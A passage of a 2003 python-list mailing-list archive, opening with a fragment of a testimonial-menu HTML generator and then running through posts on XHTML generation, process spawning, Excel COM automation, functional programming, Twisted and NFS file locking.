         def firstLine(self):
                 self.allLines += self.lines[0]

         def subsequentLines(self):
                 if self.total > 2:
                         self.total = self.total - 1
                         self.countOne = self.countOne + 1
                         self.allLines += self.lines[self.countOne]
                         self.subsequentLines()
                 else:
                         table = string.maketrans('\n', ' ' )
                         self.allLines = string.translate(self.allLines,table)

         def firstShorten(self):
                 self.shortTemp = self.allLines[:30]
                 blank = string.rfind(self.shortTemp,' ')
                 self.shortTemp1 = self.shortTemp[:blank]
                 self.shortTemp2 = self.shortTemp[blank + 1:]
                 self.allLines = self.shortTemp2 + self.allLines[30:]
                 table = string.maketrans('\n', ' ' )
                 self.name = string.translate(self.name,table)
                 if self.clickForMore == 'no':
                         self.theTestimonial = '<select>\n <option 
value="pass">See what ' \
                                                 + self.name + 'has to 
say!</option>\n <option ' + \
                                                 'value="pass">&#xa0;</option>\n'
                 else:
                         self.theTestimonial = '<select name=testimonial 
onChange="' + \
                                                 'testimonials(this.form)">\n 
<option value="pass">' + 'See what ' \
                                                 + self.name + 'has to 
say!</option>\n <option value="pass">' + \
                                                 '&#xa0;</option>\n'
                 self.theTestimonial += ' <option value="pass">' + 
self.shortTemp1 \
                                                 + '</option>\n'

         def subsequentShorten(self):
                 if self.allLines != '':
                         self.shortTemp = self.allLines[:30]
                         blank = string.rfind(self.shortTemp,' ')
                         self.shortTemp1 = self.shortTemp[:blank]
                         self.shortTemp2 = self.shortTemp[blank + 1:]
                         self.allLines = self.shortTemp2 + self.allLines[30:]
                         self.theTestimonial += ' <option value="pass">' + 
self.shortTemp1 + '</option>\n'
                         self.subsequentShorten()
                 else:
                         pass

         def endTag(self):
                 if self.clickForMore == 'no':
                         self.theTestimonial += ' <option 
value="pass">&#xa0;</option>\n' + \
                                                 ' <option value="pass">' + 
self.name + '</option>\n</select>'
                 else:
                         self.theTestimonial += ' <option 
value="pass">&#xa0;</option>\n' + \
                                                 ' <option value="pass">' + 
self.name + '</option>\n' + \
                                                 ' <option 
value="pass">&#xa0;</option>\n'
                         self.theTestimonial += ' <option 
value="pass">CLICK FOR MORE' + \
                                                 ' 
TESTIMONIALS!</option>\n</select>'

         def printit(self):
                         print self.theTestimonial


def test():
         f = Testimonials()
         f.firstRead()
         f.subsequentRead()
         f.firstLine()
         f.subsequentLines()
         f.firstShorten()
         f.subsequentShorten()
         f.endTag()
         f.printit()







From nthomas at cise.ufl.edu  Mon Jan 13 16:04:19 2003
From: nthomas at cise.ufl.edu (N. Thomas)
Date: Mon, 13 Jan 2003 21:04:19 +0000 (UTC)
Subject: so how do *you* generate XHTML?
Message-ID: <slrnb26aej.1hr.nthomas@rain.cise.ufl.edu>

I've got some data that I'd like Python to spit out into XHTML, and I
don't want to print out raw XHTML strings, ala (print '<title>%s</title>
% body['title']).

After looking around a bit, the only module I can find that can do this
is HTMLgen, which was exactly what I was looking for. The only problem
is that HTMLgen is about 4 or 5 years old, and AFAIK, hasn't been
developed further since then.

According to "Python Web Programming" (Holden, New Riders Publishing),
HTMLgen is one of a kind, but did mention other web publishing framework
tools like Albatross, Zope, and PSP -- all of which seem to be overkill
for my application.

My question: Is there a newer version of HTMLgen or is there a newer
tool that does the same thing as HTMLgen?

thanks,
thomas

-- 
N. Thomas
nthomas at cise.ufl.edu
Etiamsi occiderit me, in ipso sperabo



From LogiplexSoftware at earthlink.net  Tue Jan 14 19:14:21 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 14 Jan 2003 16:14:21 -0800
Subject: matching and extracting...
In-Reply-To: <1042589408.27815.5.camel@software1.logiplex.internal>
References: <409a56e2.0301141324.6625547d@posting.google.com>
	 <1042589408.27815.5.camel@software1.logiplex.internal>
Message-ID: <1042589661.27820.8.camel@software1.logiplex.internal>

On Tue, 2003-01-14 at 16:10, Cliff Wells wrote:

>     def match(self, sequence):
>         match = self.re.match(sequence)
>         if match:
>             for k in self.items:
>                 self.items[k] = match.group(k)
>         return self.items

Damn send key.  Should be:

    def match(self, sequence):
        match = self.re.match(sequence)
        if match:
            for k in self.items:
                self.items[k] = match.group(k)
            return self.items
        else:
            return {}

for the one in a million chance it doesn't match <wink>

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From jepler at unpythonic.net  Mon Jan 13 14:20:31 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Mon, 13 Jan 2003 13:20:31 -0600
Subject: string formatting with missing dictionary key
In-Reply-To: <3e22f35a@news.ColoState.EDU>
References: <3e22f35a@news.ColoState.EDU>
Message-ID: <20030113192017.GE23137@unpythonic.net>

(Requires Python 2.2)

class D(dict):
    def __getitem__(self, item):
        if not self.has_key(item): return "default"
        return super(D, self).__getitem__(item)
        
print "%(a)s ; %(d)s; %(e)s" % D({'a':1, 'b':2, 'c':3})




From jan.dries at dcube-resource.be  Sat Jan  4 21:00:49 2003
From: jan.dries at dcube-resource.be (Jan Dries)
Date: Sun, 05 Jan 2003 03:00:49 +0100
Subject: Spawning a new process from Python
Message-ID: <3E1791D1.5070902@dcube-resource.be>

I'm trying to start a process from within a Python script. The process 
is a commercial application (ASP server) written in Java. This ASP 
server tends to hang from time to time, and my Python scripts tries to 
detect that, kills all ASP child processes, and then starts the server 
again. It starts as root (to kill the processes) and then switches to 
used nobody (with os.setuid()) to start the ASP server again.
I can kill the server properly, but can't get it running again. At the 
command prompt, I normally start it with:

/path/to/start-server.sh &

which is a script that actually starts the Java VM with some parameters.

I've tried various things in Python:
os.system("/path/to/start-server.sh &")
os.spawnv(os.P_NOWAIT,...)
os.spawnv(os.P_WAIT,...)
os.execl(...)
os.execve(...)
...

With some of these instructions I can manage to seemingly get the ASP 
server running, but once the web server tries to connect to it, it gives 
an internal server error.

Does anybody have any idea what I might be doing wrong?
I'm using Python 2.1.3 on Debian Linux.

Regards,
Jan





From gbrunet at nospamsempersoft.com  Wed Jan  8 14:04:07 2003
From: gbrunet at nospamsempersoft.com (Greg Brunet)
Date: Wed, 8 Jan 2003 13:04:07 -0600
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <3E197F7C.D4549EC5@engcorp.com> <v1jd1o8pjuho28@corp.supernews.com> <3E1A3F8B.8D4BAD96@engcorp.com> <v1nlne1bvl7r30@corp.supernews.com> <3E1C34D0.ECFBC7BF@engcorp.com>
Message-ID: <v1otjvkdoinp77@corp.supernews.com>

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E1C34D0.ECFBC7BF at engcorp.com...
> > Static
> > typing is just another tool to help the development process, and
even if
> > proper testing reduces the advantages of static typing by 50 or 75%,
> > I'll still take whatever extra advantages I can get when I write
code.
>
> Not to beat a dead horse, but what if the advantages were reduced by,
> say, 98%.  Given the loss in productivity involved with all those
extra
> keystrokes for the static typing information for the compiler, you
> might reach a point where it is *less* effective overall to have the
> static typing in place.  :-)

If things were that drastic - I would agree with you. The interesting
thing is, even though I type in a few more keystrokes to define the
variable types, I believe that I gain enormous benefits when I use the
variables, or invoke functions & methods.  I tried to point this out in
the Intellisense thread.  While I get some of this with Python, it's not
nearly to the degree that is present with VB.  I get a function argument
list, just like in most Python editors, but I also get all of an
object's properties & methods in VB, which Python doesn't know.  Also,
as soon as I enter something like [MsgBox "Some text",] I get a list of
valid MessageBox flags.  No need to search help for them, make sure I
spelled them correctly, etc.  To me, all these things make the extra
keystrokes worth entering above & beyond the compile time code
validation advantages.

--
Greg





From chris.lyon at spritenote.co.uk  Sun Jan 19 11:58:37 2003
From: chris.lyon at spritenote.co.uk (Chris Lyon)
Date: 19 Jan 2003 08:58:37 -0800
Subject: Distutils: Can I create an empty directory on target system?
Message-ID: <d232c5e.0301190858.359d6ba7@posting.google.com>

I know that Distutils can be used to create a file in a directory:-

setup(...
      data_files=[('bitmaps', ['bm/b1.gif', 'bm/b2.gif']),
                  ('config', ['cfg/data.cfg'])])

Is there an equivalent for producing emplt directories on the target
system.
I would like to precreate directories.
Is this possible or is it considered the responsibility of the
installed application to establish it's own environment?



From tvassila at siac.com  Fri Jan 31 10:02:45 2003
From: tvassila at siac.com (Thanos Vassilakis)
Date: Fri, 31 Jan 2003 10:02:45 -0500
Subject: URLLIB2
Message-ID: <OF6F6DA44D.FEE876AD-ON85256CBF.00526990@nsmtp.siac.com>

Use the asynchat module, more examples are in the medusa module, see
http://nightmare.com/.

I have used timeoutsocket in production but had problems when combining it
with urllib2. The example code for an http client in medusa work fine.

thanos



                                                                                                                                
                    Max M                                                                                                       
                    <maxm at mxm.dk>             To:     python-list at python.org                                                    
                    Sent by:                  cc:                                                                               
                    python-list-admin@        Subject:     Re: URLLIB2                                                          
                    python.org                                                                                                  
                                                                                                                                
                                                                                                                                
                    01/30/2003 04:58                                                                                            
                    AM                                                                                                          
                                                                                                                                
                                                                                                                                




Pigio? wrote:
> Ok, but when urllib2 complete the connections normally returns a response
> (also the exception). In my case urllib2 remains on  expectation mode
> (doesn't return).


That is probably beause the connection hangs.

There is a module called "timeoutsocket" or something like that, wich
stops the connetction after a certain time.

Try Google

--

hilsen/regards Max M Rasmussen, Denmark

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme

--
http://mail.python.org/mailman/listinfo/python-list








From claird at lairds.com  Thu Jan 23 08:56:17 2003
From: claird at lairds.com (Cameron Laird)
Date: Thu, 23 Jan 2003 13:56:17 -0000
Subject: Outlook Express and COM
References: <mailman.1043195797.17880.python-list@python.org> <b0kqpb$qkdla$1@ID-136433.news.dfncis.de>
Message-ID: <v2vt41s6a798c6@corp.supernews.com>

In article <b0kqpb$qkdla$1 at ID-136433.news.dfncis.de>,
Alex K. Angelopoulos <aka at mvps.org> wrote:
>That's correct - OE is NOT COM-exposed.
			.
			.
			.
However, there's apparently (I haven't done it myself yet)
a way to pretend it is <URL: http://
support.microsoft.com/default.aspx?scid=kb;en-us;Q230225 >.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From sandeep182 at hotmail.com  Sat Jan  4 21:41:45 2003
From: sandeep182 at hotmail.com (Sandeep Gupta)
Date: Sun, 05 Jan 2003 02:41:45 GMT
Subject: Blocking ctrl-c to os.popen() or os.system()
References: <d71cc7f6.0301041400.25c106c4@posting.google.com> <20030104213812.04f3dd44.pythonhda@yahoo.com.replacepythonwithlinux>
Message-ID: <JXMR9.108255$6H6.3584268@twister.austin.rr.com>

Unfortunately, python doesn't see the ctrl-c when it is typed during the
command, so there is no KeyboardInterrupt.

Thanks for the idea...

"pythonhda" <pythonhda at yahoo.com.replacepythonwithlinux> wrote in message
news:20030104213812.04f3dd44.pythonhda at yahoo.com.replacepythonwithlinux...
> Maybe you can try to catch the exception?
>
> while doing_something:
> try:
> .....
> except KeyboardInterrupt:
> print "I'm not done yet"
>
>
>
> On 4 Jan 2003 14:00:35 -0800
> sandeep182 at hotmail.com (Sandeep Gupta) wrote:
>
> > I am executing a command from python via os.popen().  While the
> > command is executing, if I type ctrl-c, the command receives the
> > interrupt.  I would like to block the ctrl-c from the command and I've
> > tried the following:
> >
> > 1)Using python's signal module to ignore SIGINT.  This causes python
> > to ignore SIGINT, but a ctrl-c that is typed during the popen() call
> > still goes to the command.
> >
> > 2)Adding "< /dev/null" to the os.popen() call.  This doesn't help.
> >
> > 3)Using popen2() and immediately closing the stdin file.  This also
> > doesn't work.
> >
> > Any suggestions would be greatly appreciated!
> >
> > Thanks
> > Sandeep





From mertz at gnosis.cx  Thu Jan  2 17:14:20 2003
From: mertz at gnosis.cx (David Mertz)
Date: Thu, 02 Jan 2003 17:14:20 -0500
Subject: Why is xml.dom.minidom so slow?
References: <mailman.1041539884.13159.python-list@python.org>
 <pu2R9.3778$FF4.233862@newsb.telia.net>
Message-ID: <8mLF+kKkXILH092yn@gnosis.cx>                       

"Fredrik Lundh" <fredrik at pythonware.com> wrote previously:
|as a general rule, XML toolkits that try to implement the DOM
|specification in pure Python are incredibly slow and bloated.
|toolkits that use a more pythonic api also tend to be more efficient;
|    http://effbot.org/zone/element-index.htm

I would also, perhaps, recommend my [gnosis.xml.objectify] module.  It
creates "Pythonic" objects based on XML documents.  If you use it, be
sure to use the EXPAT parser, rather than going through DOM (which is
the default, but it only takes one argument to use EXPAT).

I don't have a precise timing, but certainly much faster than DOM.  My
goal with the module was not really speed, but rather obtaining a more
natural Python interface.  Nonetheless, it goes pretty fast.

Take a look at <http://gnosis.cx/download/Gnosis_Utils-current.tar.gz>.

Yours, David...

--
mertz@  | The specter of free information is haunting the `Net!  All the
gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
.cx     | alliance...ideas have nothing to lose but their chains.  Unite
        | against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------





From paddy3118 at tiscali.co.uk  Thu Jan  9 13:39:23 2003
From: paddy3118 at tiscali.co.uk (Donald McCarthy)
Date: Thu, 09 Jan 2003 18:39:23 +0000
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <87lm23xh06.fsf@gvdnet.dk> <3E159B1A.BE7AC2DD@engcorp.com> <0zhR9.7019$Gv4.4628@fe08>
Message-ID: <3E1DC1DB.7010706@tiscali.co.uk>

Steve Holden wrote:
 > "Peter Hansen" <peter at engcorp.com> wrote ...
 >
 >>Martin Christensen wrote:
 >>
 > [editors, endlessly, again]
 >
 >>I'm sure they are highly effective for some people.  Not everyone
 >>has need of such a large slate of features.  In fact, over the years
 >>I've found I rely on fewer and fewer special functions in my editors,
 >>and at this point I am so independent of any specific editor that I
 >>find myself roughly as productive in any modern editor, using the tiny
 >>subset of its features that I do, and yet more productive (because of
 >>my approach to programming) than many other programmers.
 >>
 >
 >
 > You have, of course, neatly encapsulated many of the advantages of being an
 > old fart. Welcome to the club!
 >
 > ....and a Happy New Year to all my reader :0)
 >
 > regards

Whilst I too have many years of editing text files, it IS a young industry, you DO have to
keep abreast of the changes and in text editing I have been lucky in that my initial vi
knowledge is still relevant and can be enhanced when I move to elvis or vim.

Like Martin I suspect, solving the eight queens problem in a macro has nothing to do with
   text editing, but syntax highlighting, folding, template generation, auto indentation,
and others I think ARE the realms of a good text editor.

One feature that would be nice is multiple language syntax colouring for things like
embedded scripts in HTML or a python 'here document', ( <<! ...!), in a bash script. Is
this available in editors yet?

Thanks, Paddy.





From phr-n2003b at NOSPAMnightsong.com  Mon Jan 27 18:22:12 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 27 Jan 2003 15:22:12 -0800
Subject: matching keyword arguments to specific methods
References: <mailman.1043706709.9666.python-list@python.org>
Message-ID: <7xfzre2n6j.fsf@ruckus.brouhaha.com>

"Donnal Walter" <donnalcwalter at yahoo.com> writes:

> Is there a better Python idiom than the following code for calling a method
> by name if and only if the method exists?
> 
>             if key in dir(self):
>                 self.__class__.__dict__[key](self, kw[key])

I don't quite understand your example but I think you want something like:

    if hasattr(self, key):
       getattr(self,key)(whatever)



From mgarcia at cole-switches.com  Sat Jan 11 18:51:11 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Sat, 11 Jan 2003 23:51:11 GMT
Subject: Stackless Python, Tail Recursion and Functional Programming
References: <mailman.1042262600.31378.python-list@python.org>
Message-ID: <9s212vgknfdkcdbpmukuq28fvgnc70fps8@4ax.com>

On Sat, 11 Jan 2003 01:18:05 -0400, beno <zope at thewebsons.com> wrote:
(edit)
>Someone wrote me from this list advising me to drop my passion for 
>functional programming because Python doesn't optimize for it.

Wait a minute!  Don't "drop your passion" just yet!  I was the one
that told you that CPython does not optimize for tail-recursion.  But
"Tail-recursion" is not the whole of "functional programming".

These two are found together in the LISP world, but a language that
does not optimize for tail-recursion is not precluded from having
functional programming elements.

Tail-recursion is just a looping construct.  Instead of using
tail-recursion for looping, just use a "while" or "for" loop.

# ######################################### #

import operator

def factorial_forloop(n):
    x = 1L
    for i in xrange(1, n + 1):
        x *= long(i)
    return x

def factorial_tailloop(n):
    if n == 0: return 1L
    return long(n) * factorial_tailloop(n - 1)

def factorial_functional(n):
    return reduce(
        operator.mul,
        range(1, n + 1),
        1 )

def print_functions(*functions):
    def g(n):
        for f in functions:
            r = f(n)
            print '%s(%i) = %r' % (f.__name__, n, r)
    return g

p = print_functions(
    factorial_forloop,
    factorial_functional,
    factorial_tailloop )

p(0)
p(1)
p(2)
p(3)
p(4)
p(5)
p(20)
p(50)
p(1000)
    
# ######################################### #

On my machine, "factorial_forloop" handles 1000 just fine, and
"factorial_tailloop" blows up with a
"RuntimeError: maximum recursion depth exceeded"

If CPython optimized tail-recursion, we would expect
"factorial_forloop" and "factorial_tailloop" to have similar
performance.

But that doesn't mean you can't use recursive algorithms in Python.
Beyond fully optimized tail-recursion, Python handles general
recursion just as efficiently as any language.

Anyway, getting back to "functional programming"...

A loose definition of "functional programming" is:

    Typing in the description of a computation,
    and getting the answer
    without needing to specify any procedure to get that 
    answer.

More or less.

Some trickier stuff left out of the definition above:

    We can programmatically manipulate these descriptions of
    computations.

    As above, we can just describe these manipulations, we don't
    need to specify the procedure to do these manipulations.

    The output of our computations can be another description!
    To start the whole thing over again!

Python has some functional programming abilities:

"factorial_functional" shows one functional programming approach to
factorial.  I don't specify any loop, it is implied by "reduce".  This
one also runs just fine for 1000.

Some Python built-ins that are taken from the functional programming
world are: lambda, map, apply, reduce, filter.

Also list comprehensions:

    [ x * 10 for x in range(50) if (x % 3) == 1 ]

Instead of:

    list0 = []
    x = 0
    while x < 50:
        if (x % 3) == 1:
            list0.append(x * 10)
        x += 1

I learned functional programming in Mathematica.  The language that
seems to be on the forefront of functional programming is Haskell.  I
have no experience with Haskell.

I would assume there are "tricky" things you can do in Haskell that
you cannot do in Python without creating your own Python
implementation of Haskell.

If there is something cool in Haskell you wish you could do in Python,
the people in comp.lang.python will give you a way to do it, if it can
be done in Python.

Manuel



From tjreedy at udel.edu  Thu Jan  2 14:35:18 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 2 Jan 2003 14:35:18 -0500
Subject: Removing Control characters
References: <mailman.1041496573.26425.python-list@python.org> <3E145464.2090802@earthlink.net>
Message-ID: <DpKcna3j29czDYmjXTWcqA@comcast.com>

"Hans Nowak" <wurmy at earthlink.net> wrote in message
news:3E145464.2090802 at earthlink.net...
> Judging from the subject line, you want to remove these control
characters.
...
>    data = string.replace(data, chr(8), "")

I believe 2.3 adds an optional param to strip() consisting of a string
of chars to remove.  So the above could then be

data = data.strip(chr(8))

This generalizes to removal of any of multiple chars in a way that
replace does not.  Nice enhancement.

Terry J. Reedy





From tdelaney at avaya.com  Mon Jan  6 01:02:36 2003
From: tdelaney at avaya.com (Delaney, Timothy)
Date: Mon, 6 Jan 2003 17:02:36 +1100 
Subject: Distributing Python apps
Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A80F@natasha.auslabs.avaya.com>

> From: Norman Skrzypinski [mailto:zypin at sympatico.ca]
> 
> In the end, I request that you very capable Python experts 
> give me a way to give my customers a 750 KB app.

That type of attitude is only going to get people offside. None of these
python experts have time to cater to your specific desires - most don't have
time to cater to their own. If you want it done, you will either need to do
it yourself, or pay someone else to do it.

> That's not too much to ask, I think.  It's been done, by 
> every other major software company.

Python is not developed by a major software company. And most programming
environments have considerably larger runtimes - for a *really* bad example,
look at Java. Perl is similar in size with its standard library to Python.

Despite the attitude, here is a link that you may find useful ...

http://www.pythonapocrypha.com/projects/pyco/

Tim Delaney




From bbeck at NOSPAM.austin.rr.com  Sun Jan 19 01:15:30 2003
From: bbeck at NOSPAM.austin.rr.com (Brandon Beck)
Date: Sun, 19 Jan 2003 06:15:30 GMT
Subject: Python, COM & Excel
References: <6af8e801.0301172302.56c19659@posting.google.com>
Message-ID: <6orW9.65051$Pb.2682414@twister.austin.rr.com>

About a year ago I was in your shoes, I wish I had a sample to follow 
back then.  I ended up learning most of this the hard way, so to help 
you out I put together a sample fictitious report that should give you a 
good example to follow.  You can find it online at: 
http://www.isomorphism.org/~bbeck/scripts/ExcelReport.py

The first thing you need to know for sure, is that you should generate 
the necessary python COM bindings for Excel using the "COM Makepy 
utility."  If you use python win, then you can invoke it from within 
pythonwin directly off of the tools menu.  You'll want bindings for the 
"Microsoft Excel xx.x Object Library."  I believe Office2k is 9.0 and 
OfficeXP is 10.0, but I could be wrong.

I find the best way to figure out exactly what COM calls you need to 
make, is to have a sample spreadsheet of the report you want to 
generate, and record macros of yourself doing the actions you want your 
report to automatically do.  Once you're done, go look at the generated 
VBA code, and the functions that are being called.  There is usually a 
1:1 correspondence between those functions and the ones you need to call 
via COM from python.  I also tend to try to avoid using the ActiveSheet 
or ActiveWindow objects.  I haven't ever found a need for them given 
that my python scripts usually always know exactly which worksheet 
they're dealing with.

Hope this helps get you started in the right direction.




DP wrote:
> Hello all,
> 
> I'm doing some work with Python, & COM integration (win32all v. 1.52
> installed with Pthon 2.2.2). I'm having a difficult time getting
> started. Some of the functions/objects I expect will work don't,
> others work in unexpected ways. I'd very much appreciate pointers,
> sample scripts, etc. from individuals who have had better luck with
> Python & Excel integration. I'm working primarily with Excel 2000 and
> MS Word. I hope to be able to figure things out myself later, pointers
> will be appreciated.
> 
> BTW I'd get the "Python & Win32" book in normal circumstances, but
> currently this is not possible.
> 
> Thanks in advance.
> 
> Dinil.




From akjmicro at yahoo.com  Sat Jan 25 15:38:12 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Sat, 25 Jan 2003 14:38:12 -0600
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <mailman.1043502285.20597.python-list@python.org> <b0ubqb$oiv$3@bob.news.rcn.net> <3E32E5D6.82887F98@engcorp.com>
Message-ID: <b0usjm$jsl$1@bob.news.rcn.net>

In message <3E32E5D6.82887F98 at engcorp.com>, Peter Hansen wrote:
> "Aaron K. Johnson" wrote:
> > 
> > A person is what counts as a 'unique poster'. A message ID alone would not
> > measure the 'user base' factor "im interested in.
> > 
> > Spam is still a problem to consider. It's not perfect yet.......
> 
> Spam is probably a problem best ignored.  It would probably
> affect all those groups equally anyway.
> 
> -Peter

I agree. Plus, I'm not interested in working THAT hard to be that
anal-retentive about data which some would argue is still vague enough to be
discounted.

-Aaron.




From p.mayers at imperial.ac.uk  Thu Jan 30 13:20:15 2003
From: p.mayers at imperial.ac.uk (Phil Mayers)
Date: Thu, 30 Jan 2003 18:20:15 +0000
Subject: Scripting *of* Python
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <b1bnhb$326$1@panix2.panix.com>
Message-ID: <b1bqhn$kna$1@jura.cc.ic.ac.uk>

On Thu, 30 Jan 2003 12:31:23 +0000, Aahz wrote:

> In article <b1bj7a$i9o$1 at jura.cc.ic.ac.uk>,
> Phil Mayers <p.mayers at imperial.ac.uk> wrote:
>>
>>I've got an application (actually a framework) written in Python based on
>>a medusa-like framework for asynchronously talking to thousands of remote
>>services in parallel. I have been unable to equal the performance of this
>>using a 1:1 or 1:N (pooled) thread model, so I need to stick with the
>>async version.
> 
> Based on what you've said, I'd suggest looking into switching to
> Twisted, http://www.twistedmatrix.com/products/twisted

I have seen Twisted. It seems to be a very popular recommendation in c.l.p
of late ("I have incurable narcolepsy", "I recommend using Twisted" - :o)
However, the main problem is not with the async engine, which works fine,
it's with the code that runs *inside* the async engine *looking like*
async code.

My brain can cope with that - the people I'm writing it for probably
cannot, and I'm being paid to come up with a solution that middle- to
low-tier programmers can drive.

http://www.twistedmatrix.com/documents/howto/async

...this document seems to imply that the only extra stuff Twisted gives
you is the Deferred class/type for return values, which is basically
what I've written in my engine. In fact, the Twisted doco more succinctly
summarises the problem:

"""Since non-volatile state cannot be kept in local variables, because
each method must return quickly, it is usually kept in instance variables.
In cases where recursion would have been tempting, it is usually necessary
to keep stacks manually, using Python's list and the .append and .pop
method. Because those state machines frequently get non-trivial, it is
better to layer them such that each one state machine does one thing --
converting events from one level of abstraction to the next higher level
of abstraction. This allows the code to be clearer, as well as easier to
debug."""

Yes, quite - but I don't think this state machine can be abstracted out to
be "clear enough" - hence the scripting language and virtual
multithreading suggestion.

I will almost certainly switch to using Twisted if I can:

a) Shoehorn the virtual multithreading idea in, or find a better one
b) Find the time before I need the code working

...since it's clearly going to be better than an async engine I can write.

Thanks for the pointer though!

Cheers,
Phil



From exarkun at intarweb.us  Fri Jan 24 22:30:41 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 24 Jan 2003 22:30:41 -0500
Subject: Shell chauvinism ;-D, was Re: popen4 doesn't block?
In-Reply-To: <6LlY9.1314$d66.143806@newsread1.prod.itd.earthlink.net>
References: <xgkY9.1183$d66.119417@newsread1.prod.itd.earthlink.net> <b0sl7s$33fc$1@nntp6.u.washington.edu> <6LlY9.1314$d66.143806@newsread1.prod.itd.earthlink.net>
Message-ID: <20030125033041.GB17414@meson.dyndns.org>

On Sat, Jan 25, 2003 at 01:28:34AM +0000, Terry Hancock wrote:
> Donn Cave wrote:
> > [snip bash > *]
> 
> [snip tcsh at uni]
> 
> For the first time, last year I saw a sh script provided as an 
> *alternative* for installing astronomical software.  Also, despite 
> assurances from CS types that tcsh should *never* be used as a programming 
> language, I have seen multi-thousand line installation scripts written in 
> it.  In fact, I think perl is probably more common than sh here (of course, 
> Larry Wall used to work for my present employer back when he wrote perl).

  Multi-thousand line programs should probably be written in actual
programming languages, such as Python.  There's a reason for this, discussed
below.

> [snip Python as a shell language, examples]
> 
> lacks something in both clarity and brevity against
> 
> cd ./Log
> 

   Yep.  Most shell languages are designed (if one can say that they are
designed) to be easy to _type_.  This doesn't always lead to a language that
is easy to _read_.  Python, on the other hand, was designed, in part, to be
easy to _read_.  This hasn't led to a language that is as easy to type as it
could be.  This is clear when you think about how many times you will type
most shell commands vs how many times you will read them, and how many times
you will type your Python program vs how many times you (or someone else)
will read it.

  Jp

-- 
"There is no reason for any individual to have a computer in their
home."
                -- Ken Olson, President of DEC, World Future Society
                   Convention, 1977
-- 
 up 40 days, 7:49, 7 users, load average: 0.55, 0.53, 0.50
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030124/1e5b7abf/attachment.sig>

From jack at performancedrivers.com  Wed Jan 22 22:59:34 2003
From: jack at performancedrivers.com (Jack Diederich)
Date: Wed, 22 Jan 2003 22:59:34 -0500
Subject: Interleaved commands and options with optparse?
In-Reply-To: <slrnb2ul32.b0e.mlh@furu.idi.ntnu.no>; from mlh@furu.idi.ntnu.no on Thu, Jan 23, 2003 at 02:33:06AM +0000
References: <slrnb2ul32.b0e.mlh@furu.idi.ntnu.no>
Message-ID: <20030122225934.O13035@localhost.localdomain>

On Thu, Jan 23, 2003 at 02:33:06AM +0000, Magnus Lie Hetland wrote:
> I really love Optik/optparse -- it's a dream to use compared to
> getopt, IMO. Hooray!
> 
> Now... I'd like to interleave "commands" (i.e. simple arguments) with
> my options, as in, e.g., cvs (or distutils, for that matter). For
> example:
> 
>   python myscript.py --globaloption command --commandoption
> 
> I'd like the semantics of the options to depend on where they are
> placed, e.g. before or after a command etc. (I might have global and
> command-specific switches with the same single-letter abbreviation but
> with different meanings -- as in cvs.)

a quick work-around (or patch!) would split the string on spaces,
and look for the first part that didn't start with a '-'.
Put the first set of parts through the options parser.

Rinse, and repeat.

-jackdied





From abelikov72 at hotmail.com  Thu Jan 16 20:26:15 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Fri, 17 Jan 2003 01:26:15 GMT
Subject: try exec
References: <rm7e2vk3k2n1prbaf80p89fecsgsuher9p@4ax.com> <3e2728cd$0$130$e4fe514c@dreader5.news.xs4all.nl>
Message-ID: <e6me2vo0cefdduqqvrj7geiptp2a0kh8eg@4ax.com>

On Thu, 16 Jan 2003 22:28:05 +0100, Ype Kingma <ykingma at accessforall.nl>
wrote:

>Afanasiy wrote:
>
>> Some code I "exec" throws a TypeError exception. I want it to throw this
>> exception but want to be able to catch this along with the others which
>> are in fact being caught by the try/except block.
>> 
>> The specific TypeError in this case is caused by a module-defined
>> function being called with the incorrect number of arguments. Again,
>> I want to catch this exception. The problem is, this exception, unlike
>> the others, is not being caught/handled by my try/except block.
>
>How do you know it is thrown?

Upon execution of the Python script, the standard exception printout
occurs at this location, denoting exactly what the error is and
halting execution of the script.

  Traceback (most recent call last):
    File "C:\test.py", line 21, in ?
      for line, expecting in lines:
  TypeError: function takes exactly 0 arguments (1 given)

Where, given my code it should have shown (and continued execution) :

  ('Foo() takes exactly 0 arguments (1 given)',)

>The try/except below should catch a TypeError.
>However, I'd prefer to control the namespace in which exec
>is executing. You are not doing this now, so exec executes
>in the namespace it happens to be in, ie. your module's
>namespace. This might cause unexpected results, but
>I would not expect from the code you posted.
>
>Adding namespace gives:
> 

Adding a namespace as you've shown results in the same problem.
At first I was confused by the print repr(namespace) printing
the large text of __builtins__ every loop iteration, but I have
commented that out now. The namespace suggestion is good for
separation, but the TypeError is still not being caught...

HOWEVER, look above, it says the error is on line 21, which is :

  for line, expecting in lines:  

Perhaps I've done something wrong there? (Weird)



From strombrg at tesuji.nac.uci.edu  Thu Jan 23 18:55:53 2003
From: strombrg at tesuji.nac.uci.edu (Dan Stromberg)
Date: 23 Jan 2003 23:55:53 GMT
Subject: file locking on nfs?  expiring old mail messages?
Message-ID: <b0pve9$29q$1@news.service.uci.edu>

Does anyone have a python module that does procmail-style file locking
in NFS volumes?

I'm working on a program to delete old messages from an mbox-formatted
mailbox, and could use proper locking.  BTW, anybody already done this
- expiring old mail, either in an mbox file, or over imap?
-- 
Dan Stromberg                                               UCI/NACS/DCS



From martin at v.loewis.de  Mon Jan 20 03:51:43 2003
